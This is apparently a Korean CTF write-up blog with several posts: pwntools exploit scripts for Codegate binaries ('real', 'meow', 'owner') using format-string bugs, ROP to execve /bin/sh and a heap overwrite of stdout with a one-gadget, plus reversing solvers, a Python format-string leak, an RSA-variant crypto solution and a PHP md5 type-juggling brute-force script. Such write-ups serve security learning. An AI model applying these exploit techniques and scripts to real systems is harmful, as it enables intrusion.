from pwn import * r=process('./real') raw_input() def _fsb(ff,var): r.sendlineafter('string -->',ff) r.sendlineafter('-->',var) r.recvuntil('is ') stack=int(r.recv(14),16) log.info(hex(stack)) r.recvuntil('-->') r.sendline(str(stack(not correct)) r.recvuntil('value is ') leak=int(r.recv(2),16) log.info('leak : '+hex(leak)) for i in range(15): _fsb("%x",str(stack))    # not correct #pppr -> libc_start_main fix to onegadget r.interactive()




이런식으로 구상했는데 정확한 입력은 구상하지 ㅇ낳았다. ㅎ_ㅎ

우선 libc_start_main이 있는 부분의 일부를 조작해서 onegadget으로 만든다.(stack이 null로 많이 초기화 되서 가능할 것이라고 생각했다. 64비트 라이브러리의 원가젯 조건이 [rsp+a]=0인 조건이 많기 때문)

printf의 ret인 main부분이 스택에 있는 걸 활용해서 $를 이용해 ret을 pppr가젯으로 바꾼다. 그러면 libc_start_main으로 리턴하게 되는데 여기에 덮어쓴 onegadget이 실행되는 것이다.


포맷스트링버그(fsb)에서 printf자체의 리턴값을 조작하여 eip를 컨트롤 할 수도 있다는 아이디어가 핵심인 것 같다. 

'CTF' 카테고리의 다른 글

[defcon prequal 2017]magic  (0) 2017.05.12
[codegate17 prequal]postbox  (0) 2017.05.11
[codegate 2017 prequal]meow  (0) 2017.05.09
[codegate17 prequal]Goversing  (0) 2017.05.08
[plaid2017]pykemon  (0) 2017.04.24

키를 받고 그 키로 테이블을 복호화해서 복호화한 값을 call하는 메뉴가 있는 바이너리 이다. 

키로 어떻게 복호화를 하는지 알아보기 위해 복호화 코드를 그대로 옮겨서 중간중간 과정을 printf해서 보았다. 이렇게 보면 4가지 과정이 어떻게 xor되며 흘러가는지 잘 보인다. 다행히도 각 단계마다 복합적으로 얽히는 건 없어서 한번에 쭉쭉 거꾸로 올라가면 된다.


어떻게 키를 찾냐면 추측할 수 있는 부분이 있다. 복호화된 결과값이 함수가 될 가능성이 높은데 함수의 에필로그와 프롤로그를 대입해 보는 것이다.

결과값 첫 4바이트를 push ebp , mov ebp esp로 끝 2바이트를 pop ebp, ret으로 해서 총 6바이트를 추측할 수 있다. 


추측한 값으로 거꾸로 올라가면 다음과 같은 식을 얻는다.

1. 0x55=i2^i5^13

2. 0x48=i3^i2^72

3. 0x89=(-11=245)^i8^i1

4. 0xe5=(-81=175)^i9^i3

5. 0xc9 = i0 i1 186

6. 0xc3 = i1 i3 167


(i가 key)

정리하면 key의 이만큼을 얻을 수 있다.

i0 = i0

i1 = i0 ^ 0x73

i2 = i0 ^ 0x17

i3 = i0 ^ 0x17

i4

i5 = i0 ^ 0xd

i6 = 

i7 = 

i8 = i0 ^ 0xf

i9 = i0 ^ 0x5d 


이걸로 key의 브루트 포싱 값이 확 줄었다. 이제 해시를 비교하면서 브루트 포싱하자


키 =  $W337k!++y


#include

"stdio.h" #include"string.h" char ind[2][200][50],tmp[100]; int main(){ char src[200]={241, 100, 114, 74, 79, 72, 77, 186, 119, 115, 29, 52, 245, 175, 184, 15, 36, 86, 17, 101, 71, 163, 47, 115, 164, 86, 79, 112, 74, 19, 87, 156, 63, 111, 6, 97, 64, 144, 175, 57, 16, 41, 52, 195, 0, 122, 64, 61, 78, 63, 14, 42, 47, 32, 127, 115, 137, 125, 75, 29, 9, 170, 208, 0, 33, 137, 77, 42, 103, 124, 24, 59, 57, 242, 141, 28, 167, 113, 87, 46, 49, 20, 103, 72, 60, 125, 175, 112, 174, 16, 49, 104, 209, 38, 5, 200, 37, 242, 98, 245, 93, 56, 52, 242, 32, 14, 126, 159, 251, 87, 114, 38, 87, 103, 21, 16, 21, 19, 185, 62, 121, 137, 93, 36, 18, 1, 152, 123, 24, 37, 224, 223, 124, 36, 27, 45, 68, 176, 16, 61, 87, 61, 98, 180, 33, 29, 62, 209, 16, 215, 69, 116, 150, 43, 109, 59, 237, 16, 0, 103, 49, 223, 108, 184, 134, 26, 124, 107, 100, 120, 198, 55, 118, 230, 97, 160, 173, 190, 76, 186, 167, 13}; char input[200]={'$','W','3','3','7','k','!','+','+','y','(','>',',','<',')',NULL}; char v14 = 0; int j = 0; char v19_4 = 4,vv[10],v18_5 = 5,vvv[10],v17_3 = 3,vvvv[10]; char v13_10 = 10,vvvvv[10],v12_5 = 5,v2[10],v11_7 = 7,v16 = 0; char v9 = 0,v10 = 0,v7 = 0,v8 = 0,v4 = 0,v5 = 0,v6 = 0; int v15=0xb6; int len_b6=0xb6; for(int i=0;i<200;i++){ memset(ind[0][i],0,50); memset(ind[1][i],0,50); } for(int i = 0; len_b6 - len_b6 % v11_7 > i; i += v11_7 ) { printf("i=%d\n",i); for ( j = 0; j < v17_3; j++ ){ *(&v4 + j) = *(j + v16 + src); sprintf(ind[0][j],"v1[%d] = src[%d](%d)",j,v16+j,src[j+v16]); //strcat(ind[0][j],tmp); } for ( j = 0; v11_7 - v17_3 > j; ++j ){ *(&v4 + j + v17_3) = *(v17_3 + v15 - v11_7 + j + src); sprintf(ind[0][j+v17_3],"v1[%d] = src[%d](%d)",j+v17_3,v17_3+v15-v11_7+j,src[v17_3+v15-v11_7+j]); //strcat(ind[0][j+v17_3],tmp); } for ( j = 0; j < v11_7; j++ ){ *(&v4 + j) ^= *(j + input); sprintf(ind[1][j],"v1[%d]^=%d(input[%d])\n",j,*(&v4+j),j); //strcat(ind[1][j],tmp); } for ( j = 0; j < v17_3; j++ ){ *(src + j + v16) = *(&v4 + j + v11_7 - v17_3); printf("src[%d]=%d : v1[%d] : %s %s\n",j+v16,*(&v4+j+v11_7-v17_3),j+v11_7-v17_3,ind[0][j+v11_7-v17_3],ind[1][j+v11_7-v17_3]); } for ( j = 0; v11_7 - v17_3 > j; j++ ){ *(src + v17_3 + v15 - v11_7 + j) = *(&v4 + j); printf("src[%d]=%d : v1[%d] : %s %s\n",j+v15+v17_3-v11_7,*(&v4+j),j,ind[0][j],ind[1][j]); } v16 += v17_3; v15 -= v11_7 - v17_3; v17_3 += 2; if ( v17_3 == 9 ) v17_3 = 3; } j = 0; v19_4 = 4,v18_5 = 5,v17_3 = 3; v13_10 = 10,v12_5 = 5,v11_7 = 7,v16 = 0; v9 = 0,v10 = 0,v7 = 0,v8 = 0,v4 = 0,v5 = 0,v6 = 0; v15=0xb6; len_b6=0xb6; v11_7=5; v17_3=5; for(int i = 0; len_b6 - len_b6 % v11_7 > i; i += v11_7 ) { printf("i=%d\n",i); for ( j = 0; j < v17_3; j++ ){ *(&v4 + j) = *(j + v16 + src); sprintf(ind[0][j],"v4[%d] = src[%d](%d)",j,v16+j,src[v16+j]); } for ( j = 0; v11_7 - v17_3 > j; ++j ){ *(&v4 + j + v17_3) = *(v17_3 + v15 - v11_7 + j + src); sprintf(ind[0][j+v17_3],"v4[%d] = src[%d](%d)",j+v17_3,v17_3+v15-v11_7+j,src[v17_3+v15-v11_7+j]); } for ( j = 0; j < v11_7; j++ ){ *(&v4 + j) ^= *(2*j+1 + input); sprintf(ind[1][j],"v4[%d]^=%d(input[%d])\n",j,*(&v4+2*j+1),2*j+1); } for ( j = 0; j < v17_3; j++ ){ *(src + j + v16) = *(&v4 + j + v11_7 - v17_3); printf("src[%d]=%d : v4[%d] : %s %s\n",j+v16,*(&v4+j+v11_7-v17_3),j+v11_7-v17_3,ind[0][j+v11_7-v17_3],ind[1][j+v11_7-v17_3]); } for ( j = 0; v11_7 - v17_3 > j; j++ ){ *(src + v17_3 + v15 - v11_7 + j) = *(&v4 + j); printf("src[%d]=%d : v4[%d] : %s %s\n",j+v15+v17_3-v11_7,*(&v4+j),j,ind[0][j],ind[1][j]); } v16 += v17_3; v15 -= v11_7 - v17_3; v17_3 -= 1; if ( v17_3 == 0 ) v17_3 = 5; } j = 0; v19_4 = 4,v18_5 = 5,v17_3 = 3; v13_10 = 10,v12_5 = 5,v11_7 = 7,v16 = 0; v9 = 0,v10 = 0,v7 = 0,v8 = 0,v4 = 0,v5 = 0,v6 = 0; v15=0xb6; len_b6=0xb6; v11_7=10; v17_3=4; for(int i = 0; len_b6 - len_b6 % v11_7 > i; i += v11_7 ) { printf("i=%d\n",i); for ( j = 0; j < v17_3; j++ ){ *(&v4 + j) = *(j + v16 + src); sprintf(ind[0][j],"v4[%d] = src[%d](%d)",j,v16+j,src[v16+j]); } for ( j = 0; v11_7 - v17_3 > j; j++ ){ *(&v4 + j + v17_3) = *(v17_3 + v15 - v11_7 + j + src); sprintf(ind[0][j+v17_3],"v4[%d] = src[%d](%d)",j+v17_3,v17_3+v15-v11_7+j,src[v17_3+v15-v11_7+j]); } //printf("%d\n",v15); for ( j = 0; j < v11_7; j++ ){ *(&v4 + j) ^= *(j + input); sprintf(ind[1][j],"v4[%d]^=%d(input[%d])\n",j,*(&v4+j),j); } for ( j = 0; j < v17_3; j++ ){ *(src + j + v16) = *(&v4 + j + v11_7 - v17_3); printf("src[%d]=%d : v4[%d] : %s %s\n",j+v16,*(&v4+j+v11_7-v17_3),j+v11_7-v17_3,ind[0][j+v11_7-v17_3],ind[1][j+v11_7-v17_3]); } for ( j = 0; v11_7 - v17_3 > j; j++ ){ *(src + v17_3 + v15 - v11_7 + j) = *(&v4 + j); printf("src[%d]=%d : v4[%d] : %s %s\n",j+v15+v17_3-v11_7,*(&v4+j),j,ind[0][j],ind[1][j]); //printf("v15 : %d\n",v15); } v16 += v17_3; v15 -= v11_7 - v17_3; v17_3 += 1; if ( v17_3 == 9 ) v17_3 = 4; } j = 0; v19_4 = 4,v18_5 = 5,v17_3 = 3; v13_10 = 10,v12_5 = 5,v11_7 = 7,v16 = 0; v9 = 0,v10 = 0,v7 = 0,v8 = 0,v4 = 0,v5 = 0,v6 = 0; v15=0xb6; len_b6=0xb6; v11_7=10; v17_3=4; for(int i = 0; len_b6 - len_b6 % v11_7 > i; i += v11_7 ) { printf("i=%d\n",i); for ( j = 0; j < v17_3; j++ ){ *(&v4 + j) = *(j + v16 + src); sprintf(ind[0][j],"v4[%d] = src[%d](%d)",j,v16+j,src[v16+j]); } for ( j = 0; v11_7 - v17_3 > j; j++ ){ *(&v4 + j + v17_3) = *(v17_3 + v15 - v11_7 + j + src); sprintf(ind[0][j+v17_3],"v4[%d] = src[%d](%d)",j+v17_3,v17_3+v15-v11_7+j,src[v17_3+v15-v11_7+j]); } //printf("%d\n",v15); for ( j = 0; j < v11_7; j++ ){ *(&v4 + j) ^= *(j + input); sprintf(ind[1][j],"v4[%d]^=%d(input[%d])\n",j,*(&v4+j),j); } for ( j = 0; j < v17_3; j++ ){ *(src + j + v16) = *(&v4 + j + v11_7 - v17_3); printf("src[%d]=%d : v4[%d] : %s %s\n",j+v16,*(&v4+j+v11_7-v17_3),j+v11_7-v17_3,ind[0][j+v11_7-v17_3],ind[1][j+v11_7-v17_3]); } for ( j = 0; v11_7 - v17_3 > j; j++ ){ *(src + v17_3 + v15 - v11_7 + j) = *(&v4 + j); printf("src[%d]=%d : v4[%d] : %s %s\n",j+v15+v17_3-v11_7,*(&v4+j),j,ind[0][j],ind[1][j]); //printf("v15 : %d\n",v15); } v16 += v17_3; v15 -= v11_7 - v17_3; v17_3 += 1; if ( v17_3 == 9 ) v17_3 = 4; } FILE *f=fopen("./src_out","wb"); fwrite(src, 1 , sizeof(src) , f ); fclose(f); }

복호화한다음 디버거로 보자

  
0x12000:	push   rbp
   0x12001:	mov    rbp,rsp
   0x12004:	sub    rsp,0x60
   0x12008:	movabs rax,0x20756f7920646944
   0x12012:	mov    QWORD PTR [rbp-0x60],rax
   0x12016:	movabs rax,0x612065736f6f6863
   0x12020:	mov    QWORD PTR [rbp-0x58],rax
   0x12024:	movabs rax,0x3f3f3f3f74616320
   0x1202e:	mov    QWORD PTR [rbp-0x50],rax
   0x12032:	movabs rax,0x7420746168570a3f
   0x1203c:	mov    QWORD PTR [rbp-0x48],rax
   0x12040:	movabs rax,0x6320666f20657079
   0x1204a:	mov    QWORD PTR [rbp-0x40],rax
   0x1204e:	movabs rax,0x646c756f77207461
   0x12058:	mov    QWORD PTR [rbp-0x38],rax
   0x1205c:	movabs rax,0x65727020756f7920
   0x12066:	mov    QWORD PTR [rbp-0x30],rax
   0x1206a:	movabs rax,0x273027203f726566
   0x12074:	mov    QWORD PTR [rbp-0x28],rax
   0x12078:	mov    DWORD PTR [rbp-0x20],0x3e3e3e0a
   0x1207f:	mov    BYTE PTR [rbp-0x1c],0x0
   0x12083:	lea    rax,[rbp-0x60]
   0x12087:	mov    edx,0x44
   0x1208c:	mov    rsi,rax
gdb-peda$ 
   0x1208f:	mov    edi,0x1
   0x12094:	mov    eax,0x1
   0x12099:	syscall 
   0x1209b:	lea    rax,[rbp+0x8]
   0x1209f:	mov    edx,0x18
   0x120a4:	mov    rsi,rax
   0x120a7:	mov    edi,0x0
   0x120ac:	mov    eax,0x0
   0x120b1:	syscall 
   0x120b3:	nop
   0x120b4:	leave  



0x14000:	push   rbp
   0x14001:	mov    rbp,rsp
   0x14004:	sub    rsp,0x10
   0x14008:	mov    QWORD PTR [rbp-0x8],rdi
   0x1400c:	mov    rax,QWORD PTR [rbp-0x8]
   0x14010:	mov    edx,0x0
   0x14015:	mov    esi,0x0
   0x1401a:	mov    rdi,rax
   0x1401d:	mov    eax,0x3b
   0x14022:	syscall 
   0x14024:	nop
   0x14025:	leave  
   0x14026:	ret    


이렇게 생겨먹음 그냥 바로 bof터진다.

rop로 익스를 해보자

디버거로 0x14000을 보면(또다른 복호화 함수) execve이다.


다시보니 가젯을 하나 넣어놨다

0x14036: pop    rdi

0x14037: ret  


/bin/sh도 넣어놨다 ㅋㅋ

0x14029

rdi에 /bin/sh넣고 

execve콜하면 된다.



from pwn import *

p=process('./meow')
f=open('./src_out')
p.sendline('$W337k!++y')
cont=f.read()
print cont
#print disasm(cont)

pay=''
pay+=p64(0x14036)
pay+=p64(0x14029)
pay+=p64(0x14000)
p.sendline('3')
p.sendline(pay)
p.interactive()

'CTF' 카테고리의 다른 글

[codegate17 prequal]postbox  (0) 2017.05.11
[codegate 2017 final]real  (0) 2017.05.09
[codegate17 prequal]Goversing  (0) 2017.05.08
[plaid2017]pykemon  (0) 2017.04.24
[codegate final]owner  (0) 2017.04.19

id와 패스워드 채크루틴이 있음


id를 비트단위로 분해 ->

concat : 0 obj^1 obj^before^bb^bbb^1 obj^before_byte^bbb^1

(연습삼아 정확하게 분석해 봤는데 사실은 obj^1만 알아도 id를 구할 수 있다.)


mov     qword ptr [rsp], 0

mov     [rsp+8], rbx

call    runtime_intstring

mov     rax, [rsp+18h]

mov     rcx, [rsp+10h]  ; _r2

mov     [rsp], rcx

mov     [rsp+8], rax

call    strconv_Atoi


mov     rax, [rsp+10h]

mov     [obj_88h], rax  ; obj_88h

lea     rcx, [before_byte_b8h]

mov     [rsp], rcx

lea     rcx, [obj_b0]

mov     [rsp+8], rcx

mov     qword ptr [rsp+10h], 18h

call    runtime_memmove b8<=b0(18)


mov     rax, [obj_88h]

mov     [obj_b0], rax

mov     rcx, [before_byte_b8h]

xor     rcx, rax

mov     rdx, [beforebefore_byte_c0]

xor     rcx, rdx

mov     rdx, [beforebeforebefore_byte_c8] ; _r1

xor     rcx, rdx rdx=0

xor     rcx, 1

mov     [rsp], rcx rcx^1^0=rcx^1

call    strconv_Itoa


mov     rax, [rsp+10h]

mov     [rsp+80h], rax

mov     rcx, [rsp+8]

mov     [rsp+0E8h], rcx

mov     rdx, [obj_b0]

mov     rbx, [before_byte_b8h]

xor     rdx, rbx

mov     rbx, [beforebeforebefore_byte_c8]

xor     rdx, rbx

xor     rdx, 1          ; _r1

mov     [rsp], rdx

call    strconv_Itoa


mov     rax, [rsp+10h]

mov     [rsp+78h], rax

mov     rcx, [rsp+8]

mov     [rsp+0E0h], rcx

mov     rdx, [obj_88h]

xor     rdx, 1          ; _r1

mov     [rsp], rdx

call    strconv_Itoa


mov     rax, [rsp+8]

mov     rcx, [rsp+10h]

mov     qword ptr [rsp], 0 ; a

lea     rdx, _r2        ; _r2

mov     [rsp+8], rdx

mov     qword ptr [rsp+10h], 1

mov     [rsp+18h], rax

mov     [rsp+20h], rcx

mov     rax, [rsp+0E8h]

mov     [rsp+28h], rax

mov     rax, [rsp+80h]

mov     [rsp+30h], rax

mov     rax, [rsp+0E0h]

mov     [rsp+38h], rax

mov     rax, [rsp+78h]

mov     [rsp+40h], rax

call    runtime_concatstring4

mov     rax, [rsp+50h]

mov     [rsp+60h], rax

mov     rcx, [rsp+48h]

mov     [rsp+0D0h], rcx

mov     rdx, [rsp+68h]

lea     rbx, [rdx+1]

mov     rsi, [rsp+70h]  ; cap

cmp     rbx, rsi

jg      short loc_401F9E


이와 같이 이어서 만든 4비트 숫자들과 rodata에 있는 테이블이 일치하면 secret member다

이 아이디와 패스워드를 xor해서 역시 rodata에 있는 password table과 비교하여 맞으면 flag를 내놓는다.


from pwn import *

p=process('./Goversing')
idtable='7 0 4 5 4 7 7 0 4 2 0 6 6 3 4 5 4 0 3 6 1 0 6 1 7 2 0 6 1 7 5 3 4 2 0 6 1 0 1 5 6 3 4 5 4 7 7 7 7 0 4 5 4 0 3 1 5 6 3 3 6 6 4 7'.split(' ')
table='12 56 2e 1B 5C 34 6A 5D 73 29 0F 5B 1C 67 34 6F 11 50 1E 3A 19 70 35 54 3F 45 2D 47 2E'.split(' ')
p.sendlineafter('>','1')
#concat : 0 obj^1 obj^before^bb^bbb^1 obj^before_byte^bbb^1
id=''
for i in range(64):
	tmp=int(idtable[i])/4
	id+=str(tmp^1)
idstr=''
for i in range(8):
	idstr+=chr(int(id[i*8:i*8+8],2))
print idstr

p.sendlineafter('ID',idstr)
pw=''
for i in range(29):
	pw+=chr(int(table[i],16)^ord(idstr[i%8]))
print pw
p.sendlineafter('PW',pw)
p.interactive()

 



'CTF' 카테고리의 다른 글

[codegate 2017 final]real  (0) 2017.05.09
[codegate 2017 prequal]meow  (0) 2017.05.09
[plaid2017]pykemon  (0) 2017.04.24
[codegate final]owner  (0) 2017.04.19
[ASISctf] DLP  (2) 2017.04.13

rename할때 {0.pykemon}을 넣는다

python의 format함수를 이용해서 return을 해줄때 입력에 formatstring을 주입할 수 있다.

{0.__class__}를 하면 format의 class정보를 릭할 수 있는데


{0.pykemon}을 넣으면 아래와 같이 format에 Pykemon클래스가 들어있었기 때문에  있는 Pykemon.pykemon의 정보가 쭈루룩 나온다.


소스코드를보면

(p 는 Pykemon class변수)

    if not p:

        return "Error: trying to name a pykemon you haven't caught!"

    

    r = session.get('room')   

    s = session.get('caught')

    for pykemon in s['pykemon']:

        if pykemon['pid'] == name:

            pykemon['nickname'] = new_name

            session['caught'] = s

            print session['caught']

            return "Successfully renamed to:\n" + new_name.format(p)


Class Pykemon(object):

    pykemon = [

            [100, 'Pydiot', 'Pydiot','images/pydiot.png', 'Pydiot is an avian Pykamon with large wings, sharp talons, and a short, hooked beak'], 

            [90, 'Pytata', 'Pytata', 'images/pytata.png', 'Pytata is cautious in the extreme. Even while it is asleep, it constantly listens by moving its ears around.'],

            [80, 'Pyliwag', 'Pyliwag', 'images/pyliwag.png', 'Pyliwag resembles a blue, spherical tadpole. It has large eyes and pink lips.'],

            [70, 'Pyrasect', 'Pyrasect', 'images/pyrasect.png','Pyrasect is known to infest large trees en masse and drain nutrients from the lower trunk and roots.'],

            [60, 'Pyduck', 'Pyduck', 'images/pyduck.png','Pyduck is a yellow Pykamon that resembles a duck or bipedal platypus'],

            [50, 'Pygglipuff', 'Pygglipuff', 'images/pygglipuff.png','When this Pykamon sings, it never pauses to breathe.'],

            [40, 'Pykachu', 'Pykachu', 'images/pykachu.png','This Pykamon has electricity-storing pouches on its cheeks. These appear to become electrically charged during the night while Pykachu sleeps.'],

            [30, 'Pyrigon', 'Pyrigon', 'images/pyrigon.png','Pyrigon is capable of reverting itself entirely back to program data and entering cyberspace.'],

            [20, 'Pyrodactyl', 'Pyrodactyl', 'images/pyrodactyl.png','Pyrodactyl is a Pykamon from the age of dinosaurs'],

            [10, 'Pytwo', 'Pytwo', 'images/pytwo.png','Pytwo is a Pykamon created by genetic manipulation'],

            [0, 'FLAG', 'FLAG','images/flag.png', 'PCTF{XXXXX}']

            ]

    def __init__(self, name=None, hp=None):

        pykemon = Pykemon.pykemon

        if not name:              

            i = randint(0,10)

        else:

            count = 0

            for p in pykemon:

                if name in p:

                    i = count

                count += 1

        

        self.name = pykemon[i][1]

        self.nickname = pykemon[i][2]

        self.sprite = pykemon[i][3]

        self.description = pykemon[i][4]

        self.hp = hp

        if not hp:

            self.hp = randint(1,100)

        self.rarity = pykemon[i][0]

        self.pid = self.name + str(self.hp)


http://lucumr.pocoo.org/2016/12/29/careful-with-str-format/






'CTF' 카테고리의 다른 글

[codegate 2017 prequal]meow  (0) 2017.05.09
[codegate17 prequal]Goversing  (0) 2017.05.08
[codegate final]owner  (0) 2017.04.19
[ASISctf] DLP  (2) 2017.04.13
asis secured portal  (0) 2017.04.13

onegadget이 안먹히긴 하는데

실제 대회때는 먹혔겟지? 싶어서 stdout만 덮어보고 그냥 넘어감(다른데 덮을 만한곳 안해보긴했다 넘어가자)

c++살짝 익숙해졋다..!!


풀이 메모


빌딩 최대 세개


building

- name

[0][2]-apartment

[3][5]-company

[6][8]- restaurant


apartment(0x50)

-name a 

-floor a+32

-num of house per floor a+72

-description a+40 


company(0x58)

-name -0

-floor a+32

-people a+72

-money month a+80

-describe a+40(char)


restaurant(0x70)

-name -0

-menu - a+88

-visit people - a+72

-money month a+80

-price food -a+96

-customer pay - a+104

-describe - a+40


change할때 delete안함 그대로 주소만 옮김


apart (change)-> restaurant -> edit restaurant


그냥 빌딩 change하면서 overflow overwrite 가능

from pwn import *
#1.apart 2.company 3.restaurant
r=process('./owner')
def makeapart(name,floor,house,des):
	r.sendlineafter('>','1')
	r.sendlineafter('name?',name)
	r.sendlineafter('apartment?',str(floor))
	r.sendlineafter('floor?',str(house))
	r.sendlineafter('Describe',des)
def change(_from_type,_from,_to):
	r.sendlineafter('>','4')
	r.sendlineafter('>','2')
	r.sendlineafter('>',str(_from_type))
	r.sendlineafter('>',str(_from))
	r.sendlineafter('>',str(_to))
	r.sendlineafter('>','6')	#go to home menu
	r.sendlineafter('>','6')
def show(_type,num):
	r.sendlineafter('>','4')
	r.sendlineafter('>','1')
	r.sendlineafter('>',str(_type))
	r.sendlineafter('>',str(num))
	# be back 3 times
def edit(_type,num,obj,cont):
	r.sendlineafter('>','4')
	r.sendlineafter('>','1')
	r.sendlineafter('>',str(_type))
	r.sendlineafter('>',str(num))
	r.sendlineafter('>',str(obj))
	r.sendlineafter(':',cont)
	back()
def back():
	for i in range(3):
		r.sendlineafter('>','9')
makeapart('say2say2',1234,1234,'ABCDABCD')
makeapart('BBBBBBBB',1234,1234,'11111111')
change(1,1,2)
show(3,1)
r.recvuntil('Normal price of menu : ')
heapbase=int(r.recvuntil('\n')[:-1])-0x12cf0
log.info("heapleak : "+hex(heapbase))
back()
edit(3,1,1,'A'*0x100)
edit(3,1,6,str(heapbase+0x12d40))
show(1,1)
r.recvuntil('Name : ')
libcbase=u64(r.recv(6).ljust(8,'\x00'))-0xb78
log.info("libcbase : "+hex(libcbase))
stdoutjmp=libcbase+0x16f8
system=libcbase+0x45390
oneshot=libcbase+0xcc618#0xcc543#0x4526a#0xf0567#0xef6c4
back()
#r.interactive()
log.info("stdoutjmp :"+hex(stdoutjmp))
edit(3,1,6,str(stdoutjmp))
edit(1,1,1,p64(oneshot))
r.interactive()


'CTF' 카테고리의 다른 글

[codegate17 prequal]Goversing  (0) 2017.05.08
[plaid2017]pykemon  (0) 2017.04.24
[ASISctf] DLP  (2) 2017.04.13
asis secured portal  (0) 2017.04.13
[asisctf]wandere bits  (0) 2017.04.12

암독 과제해보고 암호문제 푸니까 재밋는것 같기도..



알고리즘은 이렇다.


def encrypt(nbit, msg):

    msg = bytes_to_long(msg)

    p = getPrime(nbit)

    q = getPrime(nbit)

    n = p*q

    s = getPrime(4)

    enc = pow(n+1, msg, n**(s+1))

    return n, enc



주어지는건 enc와 n 이고 msg를 알아내야한다.

식은 이렇다


enc=(n+1)^msg(modn^(s+1))

여기서 재밌는건 s+1>2이면 다음이 성립한다는 것!


enc=(n+1)^msg=msg*n+1(mod n^2)=mn+1(mod n^2)

이고

(enc-1)/n(mod n^2)=m이라는 식이 완성되었다.


이제 계산한다.

>>> gmpy2.div((enc-1)%(n**2),n)

mpz(3111713836765922319510495043104426235462341566734455114627991655609961822874033923703388182594027279760482968199249300393055526546602287243645)

>>> hex(3111713836765922319510495043104426235462341566734455114627991655609961822874033923703388182594027279760482968199249300393055526546602287243645)[2:-1].decode('hex')
'ASIS{Congratz_You_are_Discrete_Logarithm_Problem_Solver!!!}'
>>> 



'CTF' 카테고리의 다른 글

[plaid2017]pykemon  (0) 2017.04.24
[codegate final]owner  (0) 2017.04.19
asis secured portal  (0) 2017.04.13
[asisctf]wandere bits  (0) 2017.04.12
[asisctf]start hard  (0) 2017.04.12

asis - secured portal (0) -> object injection. 문제 아무것도 없어보이지만 function.js에 가보면 /authentication/login이라는 링크와 /panel/index라는 링크를 찾을 수 잇고 여기서 login string이라는 목표 공격대상을 찾을 수 있다. 그리고 문제에서 IDE와 function.js에서 phpstorm 을 사용했다는 힌트가 주어졌는데 많은 웹 프로그래머들이 IDE(integrated development environment)를 사용할떄 숨김 폴더를 만든다고 한다. phpstorm에서는 다음과 같은 IDE환경에 숨김 파일 흔적을 남기는데 , .idea/workspace.xml 이곳이다. 들어가보면 /backup/panel.class.php.bk를 찾을 수 있고 이 파일을 보면 login 정보를 get으로 object로 넘기는데 type confusion을 이용하여 우회 할 수 있다. 


내용은 아래와 같은데 auth의 하위 32바이트를 세션 스트링으로 쓰는데 이를 '00000000...'으로 채워주고 

이 세션 스트링을 md5($payload.$this->__sessionKey);  의 상위 6바이트와 '=='으로 비교하므로 이 md5값을 0e(숫자4개)로 맞춰주면 typeconfusion으로 참이 된다. session키의 값은 auth의 하위32바이트를 제외한 값을 base64_decode한 값으로 이에 맞게끔만 object를 짜주면 된다. md5더미는 serialized 배열에 배열 변수를 하나 더 만들어서 브루트포싱해준다.

아래는 다른사람 코드


import sys
import base64
import string
import requests

URL = 'http://46.101.96.182/panel/index'
SIG = '00000000000000000000000000000000'
template = 'a:2:{s:6:"logged";b:1;s:3:"foo";s:%d:"%s";}'

for c in string.letters + string.digits:
    for i in range(0, 500):
        OBJ = template % (i, c * i)
        r = requests.get(URL, params={'auth': base64.b64encode(OBJ) + SIG})
        if not 'login required' in r.text:
            print('found collision')
            print(OBJ)
            print(base64.b64encode(OBJ))
            sys.exit(0)


class panel extends main {

    /**
     * holds authentication status of the user
     * @var boolean
     */
    private $__auth;

    /**
     * holding database object
     * @var object
     */
    private $__db;

    /**
     * checking authentication string
     *
     * @param string object
     */
    function __construct($db){
        $this->__db = $db;
        $sessionString = null;

        /**
         * gathering authentication string by auth parameter in HTTP request
         */
        if(array_key_exists('auth', $_GET))
            $sessionString = $_GET['auth'];

        if(strlen($sessionString) > 32){
            $signature = substr($sessionString, -32);
            $payload = base64_decode(substr($sessionString, 0, -32));

            /**
             * real signature calculation based on the key
             */
            $realSign = md5($payload.$this->__sessionKey);

            /**
             * making it impossible to login, if the site is under maintenance,
             */
            if(__MAINTENANCE__===true)
                $realSign = substr($realSign, 0, 6);

            /**
             * checking signature, prevent to data forgery by user
             */
            if($realSign == $signature){
                $this->data = unserialize($payload);

                if(is_array($this->data)){
                    /**
                     * checking login status
                     */
                    if($this->data['logged']===true){
                        $this->__auth = true;
                    }
                }
            }
        }
    }

    /**
     * index
     */
    function index(){
        if(!$this->__auth){
            echo 'login required';
            return false;
        }

        template('panel');
    }

    /**
     * send http request to contact server, after the validity of message format is checked, we will look at messages in paper print
     */
    function flag(){
        if(!$this->__auth){
            echo 'login required';
            return false;
        }

        /*
         * WOW, SEEMS THE FLAG IS HERE :)
         */
        require 'includes/flag.php';
    }

'CTF' 카테고리의 다른 글

[codegate final]owner  (0) 2017.04.19
[ASISctf] DLP  (2) 2017.04.13
[asisctf]wandere bits  (0) 2017.04.12
[asisctf]start hard  (0) 2017.04.12
[VolgaCTF]guessing_game 200pt  (8) 2017.03.25

c++ 로 짜여진 단순 테이블 치환 리버싱 문제이다.

하나씩 테이블을 채우면


대충 이렇게 채워진다. 사실 정적분석보단 동적분석이 단순 테이블 치환에는 짱인것 같다. 딱히 복잡한 루틴없이(CBC같은 블럭 chaining) 그냥 stream 암호이므로

gdb로 문자열 비교하는 부분에서 bp 걸고 분석하면 쉽게 분석된다. 출제할때 실수한건가 되게 쉽게 풀었는데 정답률은 낮았다.



A 82

B 81

C 83 

D 88

E 8a

F 89

G 8b

H 84

I 86

J 85

K 87

L 8c

M 8e

N 8d O 8f Pa0 Ra1 S a3 T a8 U aa 

v ab 

W a9 X a4 Y a6 Z a5

929193989a999b949695979c9e9d9fb0b2b1b3b8bab9bbb4b6b6

1 32 2 31 3 33 4 38 5 3a 6 39 7 3b 8 34 9 36 0 31

- b0

_ 1f

  10

: 36

82a386a3b7983198313b363293399232349892369a98323692989a313493913036929a303abf

ASIS{d2d2791c6a18da9ed19ade28cb09ae05}



'CTF' 카테고리의 다른 글

[ASISctf] DLP  (2) 2017.04.13
asis secured portal  (0) 2017.04.13
[asisctf]start hard  (0) 2017.04.12
[VolgaCTF]guessing_game 200pt  (8) 2017.03.25
[codegate 2017 prequal]hunting  (0) 2017.02.13



쓸 수 있는 함수는 read뿐이고

partitial RELRO와 NX가 걸려있다.

떠올린 것은 read_got나 libc_start_main의 got의 1바이트를 덮어서

이 함수들을 syscall의 주소를 가리키게 한다.

무슨 말이냐면 예를들어서 libc_start_main=0x7f123456이라고 하면 이함수도 내부에 syscall 부분이 존재한다

그부분이 0x7f1234aa라고 하자

